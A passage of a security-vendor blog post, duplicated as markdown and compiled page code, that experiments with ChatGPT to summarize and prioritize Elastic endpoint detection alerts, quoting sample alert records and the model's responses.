immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.970Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Bitsadmin Activity', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'}\n\u003e ```\n\nWhen we ask ChatGPT \"Which one of these alerts should I prioritize?\", we get a few interesting responses. Feel free to expand the entries below to see the actual responses.\n\nThe first response doesn't answer the question. It admits that it's a challenging question and provides some general guidance on how to triage alerts. We can try modifying the prompt to get closer to a specific answer.\n\n##### Generic response\n\nIn the next response we again receive a general response 😓, but simply repeating the same question. This time, however, it attempts to provide more specific recommendations based on the fields provided. The message is interesting, but we want to know how to prioritize alerts, not receive a general description of the alerts.\n\n##### Generic response with field details\n\n\u003e It's difficult to prioritize these alerts without more context, as it depends on the severity and impact of each alert, as well as the current state of the system being monitored. However, here are some general guidelines based on the information provided: The alerts with the most recent \"kibana.alert.last_detected\" timestamp may be more urgent, as they indicate a more recent occurrence of a potentially malicious activity. Alerts with the same \"kibana.alert.rule.name\" and \"kibana.alert.rule.description\" but different \"kibana.alert.rule.execution.uuid\" may indicate multiple instances of the same type of activity, and may be worth investigating further. Alerts with different \"kibana.alert.rule.name\" and \"kibana.alert.rule.description\" may indicate different types of malicious activity, and should be evaluated based on their severity and impact on the system. Ultimately, the best course of action is to have a clear plan and protocol for responding to alerts, and to evaluate each alert based on its specific context and potential impact on the system being monitored.\n\nAfter adding the new fields to the original events, we get a more informed response (as expected). We try adding two fields that should dramatically impact the response and recommendations provided.\n\nFeeding more context to ChatGPT can always help get a better answer, but remember when cost is a concern, sometimes we have to be very picky about which fields (and how much data) we want to send. To no surprise, we immediately obtain improved responses after adding these important pieces of information. In this case, since the alerts are all very similar, it chooses the timestamp to prioritize the alert.\n\n\u003e \"kibana.alert.rule.risk_score\", \"kibana.alert.rule.severity\",\n\n##### Prioritizing recommendation\n\n\u003e It seems like all the alerts have the same information and are related to the same type of alert: Malicious Behavior Prevention Alert. They are all of medium severity and have the same risk score. Therefore, I suggest investigating the most recent alert since it was detected at a later time, and it might indicate that the issue is ongoing or has occurred again. In this case, the alert with the timestamp of 2023-03-07T20:42:25.969Z is the most recent one, so I recommend prioritizing it. However, I would still recommend investigating all the alerts since they are related to the same type of threat and could provide valuable information for understanding and mitigating the issue.\n\nWe can try shrinking similar alerts down to one alert by rule name to see how the volume of alerts (in a contrived way) impacts the response. Yet again, we get a slightly more direct response even though the alerts have the same risk score and severity level. At least this time we get a specific rule name somewhere in the response.\n\n##### Reduced sample alerts by rule name\n\n\u003e ```\n\u003e {'kibana.alert.last_detected': '2023-03-07T20:42:25.969Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.', 'kibana.alert.rule.risk_score': 74, 'kibana.alert.rule.severity': 'critical'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.970Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Bitsadmin Activity', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.', 'kibana.alert.rule.risk_score': 47, 'kibana.alert.rule.severity': 'medium'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.970Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Microsoft Office Child Process', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.', 'kibana.alert.rule.risk_score': 21, 'kibana.alert.rule.severity': 'low'}\n\u003e ```\n\n##### Prioritized alert\n\n\u003e Based on the information provided, all three alerts have the same risk score and severity level, and they appear to be related to the same type of detection for malicious behavior in the Elastic Endpoint Security system. Therefore, it may be important to investigate all three alerts to ensure that there are no broader patterns of malicious activity in the system. However, if there are limitations on resources and time available for investigation, it may be reasonable to prioritize the alert with the most specific and detailed name and description, which in this case is \"Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection.\" This alert may indicate a more serious and urgent threat that requires immediate attention.\n\nFinally, we manipulate the fields to change the severity and risk score for experimental purposes and set the DARKRADIATION alert to a critical severity and high-risk score. We end the exploration with a direct response based on specific fields recommending the alert DARKRADIATION, and ChatGPT explains why the alert is the best choice, which is closer to what we're looking for.\n\nSo why would we want to use an LLM if we can simply prioritize alerts using a rules-based strategy (e.g. sort alerts by highest severity)? As we saw earlier, other factors can impact the response (volume of alerts, the similarity of alerts, etc.), where at the end of the day the recommendation may be ultimately based on a timestamp or another field provided that is not as obvious to the responder.\n\n##### Sample alerts with varying severity \u0026 risk score\n\n\u003e ```\n\u003e {'kibana.alert.last_detected': '2023-03-07T20:42:25.969Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.', 'kibana.alert.rule.risk_score': 74, 'kibana.alert.rule.severity': 'critical'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.970Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Bitsadmin Activity', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.', 'kibana.alert.rule.risk_score': 47, 'kibana.alert.rule.severity': 'medium'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.970Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Microsoft Office Child Process', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.', 'kibana.alert.rule.risk_score': 21, 'kibana.alert.rule.severity': 'low'}\n\u003e ```\n\n##### Prioritized alert with details\n\n\u003e Based on the severity and risk scores provided in the alerts, the Malicious Behavior Prevention Alert for DARKRADIATION Ransomware Infection should be prioritized. This alert has a severity level of \"critical\" and a risk score of 74, which indicates that it poses a significant threat and requires immediate attention. In comparison, the other two alerts have lower severity levels and risk scores, suggesting that they are of lower priority. However, it's worth noting that the specific context and environment in which these alerts were generated could also impact their prioritization. Therefore, it's important to carefully evaluate all available information before making a final decision.\n\nWe've always known more context potentially can yield better responses. In this case, we used a combination of 1) reducing the alerts by Rule Name, and 2) providing more useful fields targeted to the question we wanted to answer. If we change the question, then we most likely need to provide different fields, which gets back to a broader question of what data should we provide to cost-effectively get the answer we're looking for.\n\n##### Small discussion on LLMs for undesirable outcomes\n\nThe major question here is, how can the security industry take advantage of LLMs like ChatGPT to prepare for undesirable outcomes (e.g., data breach, malware infection, insider threat, DOS-type cyber attack). This topic drives towards an exciting new topic of domain-specific context, and if LLM is the giant machine, then what will we get out of it?\n\nHere are some well-known concepts that we can tap into: - Contextualizing alerts: Deep diving through past alerts and providing relevant insights to the analyst.\n\n- Training new models: Applying transfer-learning techniques to train new predictive models that are tailored to an organization's specific dataset and security needs. This training would cover large sets of historical reports, logs, ELT-prepped network traffic, responses, etc.\n\n- Automating all the things: Automating the mundane tasks away, sounds simple, but will challenge our ability to trust in automation.\n\n- Threat modeling: Create highly representative threat models and attacks that adversaries may exploit to reinforce and improve an organization's security posture.\n\nWe've seen the security world gravitate towards ML for anomaly detection. As more of these LLMs become available and grow in capability, we have to tune ChatGPT magic to fit in our existing workflows and be comfortable replacing/upgrading old processes. At the very least, new ChatGPT applications will inspire new research questions, experiments, and proofs-of-concept. The key factor is not who develops the initial security-LLM application, but rather who can derive the most benefit from it for their product or organization.\n\nStart asking the questions. What am I missing in my policy? What gaps are in my detections? What does this alert mean? These types of questions will lead to great opportunities to use LLMs and add the extra protection you may have missed. With [GPT-4’](https://openai.com/research/gpt-4)s release and image capabilities, improved reasoning creates even more opportunities to extend into the security domain. Just imagine capturing user activities in a graphic that morphs over time (e.g. standard plot, rorschach graphic, etc.) and using a future GPT-X that can interpret trends, detect anomalies, or even track entity analytics! The classification and analysis possibilities are endless, and I encourage everyone to continue merging into new domains.\n\nIt was fun playing around with the overlapping domains of security and LLMs, and the gist file we provide may one day evolve into a full project. 🤷 We didn't prove out all of the use cases, but that leaves room for future opportunities, research, POCs and research to explore with the future versions of gpt!\n\nWe hope you enjoyed the read! See below for how to get started with the summary demo.\n\n##### Try it yourself!\n\nIf you want to try this out for yourself, you'll need a few things. - [Signup](https://platform.openai.com/signup) to get an OpenAI account, following the [guide](https://help.openai.com/en/articles/5112595-best-practices-for-api-key-safety) for best practices. - Grab the [gist](https://gist.github.com/Mikaayenson/9efff700e5d799c672c6b17338d2de6a), which has the code. Disclaimer: The API continues to evolve, which may require minor changes. - This example uses Elastic, so [Signup](https://www.elastic.co/cloud/cloud-trial-overview/security) to get a free Elastic security trial. You will also benefit from having some experience with the [security detection engin](https://www.elastic.co/guide/en/security/current/detection-engine-overview.html)e.\n","code":"var Component=(()=\u003e{var h=Object.create;var r=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var m=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var f=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),y=(i,e)=\u003e{for(var a in e)r(i,a,{get:e[a],enumerable:!0})},s=(i,e,a,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let n of p(e))!g.call(i,n)\u0026\u0026n!==a\u0026\u0026r(i,n,{get:()=\u003ee[n],enumerable:!(o=u(e,n))||o.enumerable});return i};var b=(i,e,a)=\u003e(a=i!=null?h(m(i)):{},s(e||!i||!i.__esModule?r(a,\"default\",{value:i,enumerable:!0}):a,i)),v=i=\u003es(r({},\"__esModule\",{value:!0}),i);var c=f((x,l)=\u003e{l.exports=_jsx_runtime});var E={};y(E,{default:()=\u003eT,frontmatter:()=\u003ew});var t=b(c()),w={title:\"Exploring the Future of Security with ChatGPT\",slug:\"exploring-applications-of-chatgpt-to-improve-detection-response-and-understanding\",date:\"2023-04-24\",subtitle:\"Ambitious applications of ChatGPT to improve detection, response, and understanding\",description:\"Recently, OpenAI announced APIs for engineers to integrate ChatGPT and Whisper models into their apps and products. For some time, engineers could use the REST API calls for older models and otherwise use the ChatGPT interface through their website.\",author:[{slug:\"mika-ayenson\"}],image:\"blog-elastic-train.jpg\",category:[{slug:\"detection-science\"},{slug:\"machine-learning\"},{slug:\"security-operations\"},{slug:\"security-research\"},{slug:\"generative-ai\"}]};function d(i){let e=Object.assign({h3:\"h3\",p:\"p\",a:\"a\",ul:\"ul\",li:\"li\",h4:\"h4\",pre:\"pre\",code:\"code\",h5:\"h5\",blockquote:\"blockquote\"},i.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h3,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Recently, OpenAI \",(0,t.jsx)(e.a,{href:\"https://openai.com/blog/introducing-chatgpt-and-whisper-apis\",rel:\"nofollow\",children:\"announced\"}),\" APIs for engineers to integrate \",(0,t.jsx)(e.a,{href:\"https://chat.openai.com/chat\",rel:\"nofollow\",children:\"ChatGPT\"}),\" and Whisper models into their apps and products. For some time, engineers could use the REST API calls for older models and otherwise use the ChatGPT interface through their website. Now there's an opportunity to prototype and experiment with Large Language Models (LLMs) to assist with security use cases.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The defensively-minded possibilities are endless for applying the older \",(0,t.jsx)(e.a,{href:\"https://platform.openai.com/docs/models/gpt-3-5\",rel:\"nofollow\",children:\"gpt-3.5-turbo\"}),\" and soon \",(0,t.jsx)(e.a,{href:\"https://platform.openai.com/docs/models/gpt-4\",rel:\"nofollow\",children:\"gpt-4\"}),\" models but here are just a few ideas:\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Chatbot-assisted Incident Response: Creating a chatbot that can identify and respond to security incidents in real-time to achieve a desired outcome. The chatbot can use ChatGPT to analyze the incident and provide an appropriate and configurable response (e.g. execute response actions, recommend new queries, etc.).\"}),`\n`,(0,t.jsx)(e.li,{children:\"Threat information: Using ChatGPT to analyze threat data and generate reports for your security product. This will help to improve the mean-time to respond.\"}),`\n`,(0,t.jsx)(e.li,{children:\"Natural language search: Implementing natural language search capabilities in your security product. ChatGPT can be used to understand and optimize search queries, for more accurate and relevant results.\"}),`\n`,(0,t.jsx)(e.li,{children:\"Anomaly detection: Using ChatGPT to analyze event data to identify anomalies that may indicate a security breach (although will require local domain context training).\"}),`\n`,(0,t.jsx)(e.li,{children:\"Security policy chatbot: Creating a chatbot that can answer security-related questions while investigating threats. The chatbot can use ChatGPT to provide accurate and relevant answers to questions about security policies, best practices, summarizing information, and more.\"}),`\n`,(0,t.jsx)(e.li,{children:\"Alert prioritization: Using the data within the alerts to group and prioritize the most relevant information to the analyst for an expedited response.\"}),`\n`]}),`\n`,(0,t.jsx)(e.h4,{id:\"overview\",children:\"Overview\"}),`\n`,(0,t.jsx)(e.p,{children:\"The relevance of results from a tool like ChatGPT depends a great deal on the data provided and the question asked. Garbage in: garbage out. To minimize costs during prototyping, we chose a small number of available fields (see below). There will always be a bit of tuning and engineering to get the best out of a model like this.\"}),`\n`,(0,t.jsx)(e.p,{children:\"The following fields are included:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`\"event.kind\",\n\"signal.rule.severity\",\n\"kibana.alert.rule.name\",\n\"signal.reason\",\n\"signal.rule.type\",\n\"signal.rule.interval\",\n\"signal.rule.risk_score\",\n\"kibana.alert.rule.producer\",\n\"kibana.alert.rule.description\"\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"If you decide to play around with the \",(0,t.jsx)(e.a,{href:\"https://gist.github.com/Mikaayenson/9efff700e5d799c672c6b17338d2de6a\",rel:\"nofollow\",children:\"code\"}),\", feel free to modify the fields as needed. Also, we'd love to hear what you're doing if you've already pulled something together. Or if you just want to chat about cool ideas, feel free to reach out! Now let's get into some fun. \\u{1F60E}\"]}),`\n`,(0,t.jsx)(e.h5,{id:\"simple-use-case-eli5\",children:\"Simple use case: ELI5\"}),`\n`,(0,t.jsx)(e.p,{children:\"No matter how experienced you are in the security domain, there will always be changes and new developments. They keep the security world exciting but also challenge us to stay up to date, especially when it pertains to threats. But often the detection engineer that created a query to identify malicious activity is not the same person responding to a threat. And, notably, those individuals will prioritize different knowledge and come with their own sets of unique experiences.\"}),`\n`,(0,t.jsx)(e.p,{children:\"The following Example simply queries the detection engine for alerts and then explains them in several ways. Some of the explanations were insightful, and some were humorous. You should try it out yourself.\"}),`\n`,(0,t.jsx)(e.h5,{id:\"malicious-behavior-prevention-alert\",children:\"Malicious Behavior Prevention alert\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"From the \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/microsoft-exchange-worker-spawning-suspicious-processes.html\",rel:\"nofollow\",children:\"Suspicious Microsoft IIS Worker Descendant detection\"}),\" rule, we start with the first prompt \\u201CSummary the Elastic event:\\u201D and in each example, it's followed by the response provided by chatGPT.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"This first example is short and sweet, to highlight the basic functionality. Summarize the Elastic event:\"}),`\n`,(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsx)(e.p,{children:\"The summary of the elastic event is that it produces a detection alert whenever a suspicious Microsoft IIS Worker Descendant is detected by Elastic Endpoint Security. This alert helps in investigating the endpoint alerts promptly.\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"Sometimes you need to provide an explanation to a layperson without security experience or expertise The term \\u201Cexplain it like I\\u2019m five\\u201D originated in 2010 on Twitter and was later seen on the subreddit, r/explainlikeimfive. Language is hard. Explaining complicated or nuanced things is even harder. In the most endearing way possible, sometimes we just need someone to explain it like we\\u2019re five.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Explain this Elastic event like I'm five:\"}),`\n`,(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsx)(e.p,{children:\"So, you know how sometimes there are bad guys who try to do bad things on our computers? Well, there is a special program called Elastic Endpoint Security that helps protect our computers from those bad guys. When it detects something suspicious, it will send an alert to the grown-ups who are taking care of the computer. This alert has a special name - Malicious Behavior Prevention Alert: Suspicious Microsoft IIS Worker Descendant. Now, the people who take care of the computer have another special program called SIEM. SIEM keeps an eye on all the alerts that Elastic Endpoint Security sends, and if it sees one of these special alerts, it will tell the grown-ups right away so they can investigate and make sure everything is okay. So, this message just means that SIEM got an alert from Elastic Endpoint Security, and it's letting the grown-ups know so they can take care of it.\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"Sometimes your kids may want to know how your day went. ChatGPT can even help in this (unconventional) area.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Explain this event to my kids:\"}),`\n`,(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsx)(e.p,{children:\"There was something weird that happened on a computer, and the people who take care of it wanted to know about it right away. They made a rule that sends an alert whenever something strange happens on that computer. This way, they can look into it and make sure everything is okay.\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"This example is interesting. Without the context of what kind of leadership you have, this response may not be enough. It might even be interpreted as insulting \\u{1F605}. Like any other tool, make sure you\\u2019re using it in a safe and appropriate way.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Explain this event to my boss:\"}),`\n`,(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsx)(e.p,{children:'This event indicates that a rule named \"Malicious Behavior Prevention Alert: Suspicious Microsoft IIS Worker Descendant\" was triggered by the SIEM system. This rule is designed to generate an alert whenever any suspicious activity related to Elastic Endpoint Security is detected. By enabling this rule, we can quickly investigate any potential threats to our Endpoint security.'}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"This next example is great for training entry-level analysts. It provides intentional words that you want to hear when onboarding someone to a new role.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Explain this event to the new graduate:\"}),`\n`,(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsx)(e.p,{children:\"This event is a notification that a rule has been triggered to detect a suspicious behavior related to the Microsoft IIS Worker, which is a component of the web server software. This rule is meant to prevent any malicious behavior and generate an alert whenever an Elastic Endpoint Security alert is received. By enabling this rule, it helps to investigate the security threats quickly and take the necessary actions to mitigate them.\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"We can prompt in different ways, and as expected get different responses.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Explain what happened in this event:\"}),`\n`,(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsx)(e.p,{children:'This event is related to a detection alert rule named \"Malicious Behavior Prevention Alert: Suspicious Microsoft IIS Worker Descendant,\" which was produced by a SIEM. The event type is \"signal,\" which means that the alert has been triggered based on a specific condition. The purpose of this rule is to generate a detection alert every time an Elastic Endpoint Security alert is received, which helps in the immediate investigation of the endpoint alerts. Therefore, this event indicates the occurrence of suspicious activity related to Microsoft IIS Worker Descendants and the triggering of an alert by the detection rule.'}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:`Clearly, there is room for improvement. In this next example, it preemptively explains, \"Hey hey, don't ask for too much of me. I'm just an assistant.\"`}),`\n`,(0,t.jsx)(e.p,{children:\"Explain this event to the CISO:\"}),`\n`,(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsx)(e.p,{children:\"As a virtual assistant language model, I can explain the given event to the CISO with utmost accuracy and professionalism. This event signifies the activation of a rule in Kibana that generates an alert whenever there's suspicious behavior detected in Microsoft IIS worker descendant, which can be a potential threat to the organization's security. This rule is produced by the SIEM (Security Information and Event Management) system and is designed to detect malicious activities and alert the security team immediately. This event also mentions that the endpoint security system generates alerts that enable the security team to investigate and take necessary actions to mitigate threats. Overall, this event highlights the implementation of proactive security measures to ensure the safety of the organization's digital assets.\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"This last example is particularly interesting because it just scratches the surface for how to guide the team responding to this event.\"}),`\n`,(0,t.jsx)(e.p,{children:\"What are next investigative steps to take based on this event:\"}),`\n`,(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Determine the source of the Elastic Endpoint Security alert and investigate the details of the alert to understand the specific suspicious behavior detected.\"}),`\n`,(0,t.jsx)(e.li,{children:\"Review system logs to identify any other unusual activity within the network, particularly from the same system or IP address associated with the suspicious Microsoft IIS worker descendant.\"}),`\n`,(0,t.jsx)(e.li,{children:\"Check for any recent changes made to the Microsoft IIS configuration or permissions that may have triggered the alert.\"}),`\n`,(0,t.jsx)(e.li,{children:\"Assess the impact of the event on the affected system and determine if any data or systems were compromised.\"}),`\n`,(0,t.jsx)(e.li,{children:\"Identify and isolate the affected system or systems to prevent further spread of any potential malware or malicious activity.\"}),`\n`,(0,t.jsx)(e.li,{children:\"Review current security measures and identify any gaps or areas that can be improved to prevent similar incidents in the future.\"}),`\n`,(0,t.jsx)(e.li,{children:\"Report the event to the relevant authorities or stakeholders, if necessary.\"}),`\n`]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"As you can see, this demo focuses on summarizing the gist of an alert. Imagine how powerful this could be if we decided to summarize all of the alerts for the week into a single summary for reporting. If we tweak the data sent to chatGPT and provide more fields, then we should anticipate getting more accurate responses. That engineering tradeoff of determining what the most important fields to send to get the clearest picture in a time-sensitive fashion is worth the investment. Now, let's explore one more use case.\"}),`\n`,(0,t.jsx)(e.h4,{id:\"alert-prioritization\",children:\"Alert prioritization\"}),`\n`,(0,t.jsx)(e.p,{children:\"Response times can impact the severity and outcome of an incident. In challenging situations (e.g. alert fatigue, high volume of alerts, lack of training, constrained resources, etc.), responders struggle with determining what to do first. For example, which alert should be investigated and why? Perhaps ChatGPT can help in this area. \\u{1F914}\"}),`\n`,(0,t.jsx)(e.p,{children:\"Here are some example alerts that we use in the next set of conversations. Again, the data in these sample alerts are limited to a subset of fields available to conserve tokens.\"}),`\n`,(0,t.jsx)(e.h5,{id:\"sample-alerts\",children:\"Sample alerts\"}),`\n`,(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`{'kibana.alert.last_detected': '2023-02-28T16:59:46.600Z', 'kibana.alert.rule.execution.uuid': 'bcbdfcd7-ba8a-4ed2-a203-4f23d77480ec', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-02-28T16:59:46.601Z', 'kibana.alert.rule.execution.uuid': 'bcbdfcd7-ba8a-4ed2-a203-4f23d77480ec', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Microsoft Office Child Process', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-02-28T16:59:46.601Z', 'kibana.alert.rule.execution.uuid': 'bcbdfcd7-ba8a-4ed2-a203-4f23d77480ec', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-03-01T13:36:30.680Z', 'kibana.alert.rule.execution.uuid': '74f6a3e1-58d1-410d-bd22-6886be6c8cb7', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Microsoft IIS Worker Descendant', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-03-01T13:36:30.680Z', 'kibana.alert.rule.execution.uuid': '74f6a3e1-58d1-410d-bd22-6886be6c8cb7', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Microsoft IIS Worker Descendant', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-03-01T12:46:02.800Z', 'kibana.alert.rule.execution.uuid': '0025ed3f-c41c-40ea-bd29-babd28b154b4', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Microsoft IIS Worker Descendant', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-02-28T17:04:49.582Z', 'kibana.alert.rule.execution.uuid': '2d4965c5-a345-4f47-9deb-4135b178c7f3', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Bitsadmin Activity', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.969Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.969Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.970Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Bitsadmin Activity', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'}\n`})}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:'When we ask ChatGPT \"Which one of these alerts should I prioritize?\", we get a few interesting responses. Feel free to expand the entries below to see the actual responses.'}),`\n`,(0,t.jsx)(e.p,{children:\"The first response doesn't answer the question. It admits that it's a challenging question and provides some general guidance on how to triage alerts. We can try modifying the prompt to get closer to a specific answer.\"}),`\n`,(0,t.jsx)(e.h5,{id:\"generic-response\",children:\"Generic response\"}),`\n`,(0,t.jsx)(e.p,{children:\"In the next response we again receive a general response \\u{1F613}, but simply repeating the same question. This time, however, it attempts to provide more specific recommendations based on the fields provided. The message is interesting, but we want to know how to prioritize alerts, not receive a general description of the alerts.\"}),`\n`,(0,t.jsx)(e.h5,{id:\"generic-response-with-field-details\",children:\"Generic response with field details\"}),`\n`,(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsx)(e.p,{children:`It's difficult to prioritize these alerts without more context, as it depends on the severity and impact of each alert, as well as the current state of the system being monitored. However, here are some general guidelines based on the information provided: The alerts with the most recent \"kibana.alert.last_detected\" timestamp may be more urgent, as they indicate a more recent occurrence of a potentially malicious activity. Alerts with the same \"kibana.alert.rule.name\" and \"kibana.alert.rule.description\" but different \"kibana.alert.rule.execution.uuid\" may indicate multiple instances of the same type of activity, and may be worth investigating further. Alerts with different \"kibana.alert.rule.name\" and \"kibana.alert.rule.description\" may indicate different types of malicious 